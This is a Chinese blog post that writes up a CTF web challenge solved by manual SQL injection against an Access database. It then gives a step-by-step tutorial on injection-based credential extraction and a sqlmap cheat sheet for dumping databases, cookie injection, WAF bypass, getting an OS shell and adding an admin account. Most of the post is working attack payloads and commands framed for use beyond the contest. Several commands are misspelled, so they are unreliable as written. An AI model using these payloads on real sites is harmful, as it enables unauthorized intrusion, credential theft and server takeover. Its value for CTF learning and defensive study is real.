作为一名新手,今天在博客园发表第一篇随笔,纯属自娱自乐。
(高手绕道。此题是西安华山杯的web题。题目内容如下。进入正题。。)
本来想用SQLMAP跑出来但发现想多了。题目也提示了工具不适用,所以只能用纯手工。
http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886
1. order by *(*是数字,输入直到显示正常) 从1开始一个一个试。输入1,2.......12一直到12返回的页面都是正常,输入13时页面显示错误。所以总共有12个字段。
2.输入and 1=2 union select 1,* from 表名 判断表名 表段中有几个字段
发现直到输入and 1=2 union select 1,2,3,4,5,6,7,8,* from 表名 页面显示不一样了(此处表名为admin)
所以得出表名(此处为admin)有12-8=4个字段。
3.
and 1=2 union select 1,2,3,4,* from (admin as a inner join admin as b on a.id=b.id)
显示了5—12位置的数据。
这时候就弹出了key.
归纳一下以纯手工access注入的方法,个人觉得挺实用的。
1.
and '1'='1'
and '1'='2'
注入存在了,判断数据库是ACC或MSS的,利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,
在WEB环境下有访问权限。对于以下两条语句:
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
2. 判断表名:
and (select count(*) from 表名)>0
如果表名存在就会返回正常,反页错误。 通常的表名有admin,login,article_admin,login_admin .......(自己一个个去试,比较抓狂)
3.表名猜完之后那就猜列(为了方便假设表名为admin)
猜列名:
语法:and (select count(字段名) from admin)>0
例:and (select count(username) from article_admin)>0
返回了正常,接着提交:
and (select count(password) from article_admin)>0
返回了正常,如果都返回正常那就说明存在username和password这两个字段名。(当然同样需要去猜,手工的就是比较麻烦)
4.猜用户名和密码长度;(一下的字段名都假设为username,password方便阐述。)
and (select top 1 len(username) from article_admin)=5
返回正常,说明username内容长度为5( =? ?从1开始一直去尝试,知道返回页面错误为止。)
and (select top 1 len(password) from article_admin)=16
正常,password内容长度为16,也就是MD5的值。
5.
猜用户名和密码内容:
and (select top 1 asc(mid(username,1,1)) from article_admin)=97
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
猜第二位把username,1,1改成username,2,1就可以了。
猜密码把username改成password就OK了
同时附上以ASC表方便查阅。
既然上面说了手工的那么也不能不提一下sqlmap这个神器了,本人刚接触sqlmap也就一个月时间左右,觉得好事比较好用的,就是把参数记住了基本就能使用了。以下是一些常用的参数,为了以后方便的查阅,平时也收藏了些。现在都放出来。
第一步:sqlmap.py -u “注入点” 看看有没有注入
第二步:sqlmap.py -u “注入点” --tables 猜表
第三步:sqlmap.py -u “注入点” --columns -t admin 猜解字段
第四步:sqlmap.py -u “注入点” --dump -T admin -C ”username,password“
SQLMAP数据库注入
第一步:sqlmap.py -u “注入点” --dbs 首先这条命令是获取他的一个数据库
第二步:sqlmap.py -u “注入点” -D 指定的数据库 --tables 获取指定数据库
第三步:sqlmap.py -u “注入点” -D sqldummywebsite -T user_info --columns 获取数据库指定的一个表名
第四步:sqlmap.py -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump 从指定的数据库的表中列出用户名
第五步:sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump 提取用户密码
SQLMAPcookie注入
第一步:sqlmap.py -u “注入” --cookie“id=几” --table --level 2
第二步:sqlmap.py -u “注入” --cookie “id=几” --columns -t admin --level 2
第三步:sqlmap.py -u “注入” --cookie“id=几” --dump -T admin -C “username,password”--level 2
SQLMAP交互写shell及命令执行
第一步:sqlmap.py -u “注入” --os-cnd=ipconfig
第二步:sqlmap.py -u “注入” --os-shell
第三步:net user admin admin /add net user net user admin /cel
SQLMAP伪静态注入
第一步:sqlmap.py -u “注入加个*” --dos
第二步:sqlmap.py -u “注入加个*” -D 表名 --tables
第三步:sqlmap.py -u “注入加个*” -D 表名 -T 列名 --columrs
第四步:sqlmap.py -u “注入加个*” -D oreem -T 列名 -C password --dump 爆出列名下的数据
第六课SQLMAP绕过WAF防火墙
第一步:sqlmap.py -u “注入点” -v 3 --dbs --batch --tamper “space2morehash.py”
第二步:sqlmap.py -u “注入点” --privileges 看看权限是什么
SQLMAP注入脱裤
第一步:sqlmap.py -u “注入点” -v 1 –dbs 列举数据库 –
第二步:sqlmap.py -u “注入点” -v 1 –current-db 当前数据库 –>
第三步:sqlmap.py -u “注入点” -v 1 –users 列数据库用户
第四步:sqlmap.py -u “注入点” -v 1 –current-user 当前用户
第五步:sqlmap.py -u “注入点” -v 1 –tables -D “数据库表名” 列举数据库XXX的表名
第六步:sqlmap.py -u “注入点” -v 1 –columns -T “disk_admin” -D “126disk” 获取admin列名
第七步:sqlmap.py -u “注入点” -v 1 –dump -C “id,login,pass,user” -T “disk_admin” -D “表名” 获取表disk_admin中的数据,包含列 id,login,pass,user
第八步:sqlmap.py -u “注入点” -v 1 –columns -T “disk_user” -D “表名” 获取表disk_user的列名
第九步:sqlmap.py -u “注入点” -v 1 –dump -C “id,name,pass,email,wenti,daan” -T “disk_user” -D “表名” –start 1 –stop 100 获取表disk_user的前100条数据,包含id,name,pass,email,wenti,daan;这里已经开始拖库了